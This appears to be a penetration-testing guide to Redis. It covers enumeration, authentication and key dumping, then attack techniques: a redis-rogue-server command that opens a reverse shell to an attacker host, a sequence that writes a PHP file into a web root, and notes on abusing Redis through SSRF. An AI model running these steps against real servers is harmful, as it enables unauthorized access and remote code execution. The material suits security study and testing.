Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache and message broker (from here). By default and commonly Redis uses a plain-text based protocol, but you have to keep in mind that it can also implement ssl/tls.
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
- Banner
Redis is a text based protocol, you can just send the command in a socket and the returned values will be readable. Also remember that Redis can run using ssl/tls (but this is very weird).
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
The first command you could try is info
. It may return output with information of the Redis instance or something like the following is returned:
-NOAUTH Authentication required.
In this last case, this means that you need valid credentials to access the Redis instance.
By default Redis can be accessed without credentials. However, it can be configured to support only password, or username + password.
It is possible to set a password in redis.conf
file with the parameter requirepass
or temporary until the service restarts connecting to it and running: config set requirepass p@ss$12E45
.
Also, a username can be configured in the parameter masteruser
inside the redis.conf file.
AUTH <username> <password>
#Valid credentials will be responded with: +OK
If the Redis instance is accepting anonymous connections or you found some valid credentials, you can start enumerating the service with the following commands:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
Other Redis commands can be found here and here.
Inside Redis the databases are numbers starting from 0. You can find if anyone is used in the output of the command info inside the "Keyspace" chunk:
Or you can just get all the keyspaces (databases) with:
INFO keyspace
In that example the database 0 and 1 are being used. Database 0 contains 4 keys and database 1 contains 1. By default Redis will use database 0. In order to dump for example database 1 you need to do:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
redis-rogue-server can automatically get an interactive shell or a reverse shell in Redis(<=5.0.5).
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
Info from here. You must know the path of the Web site folder:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
If you can send clear text request to Redis, you can communicate with it as Redis will read line by line the request and just respond with errors to the lines it doesn't understand:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Therefore, if you find a SSRF vuln in a website and you can control some headers (maybe with a CRLF vuln) or POST parameters, you will be able to send arbitrary commands to Redis.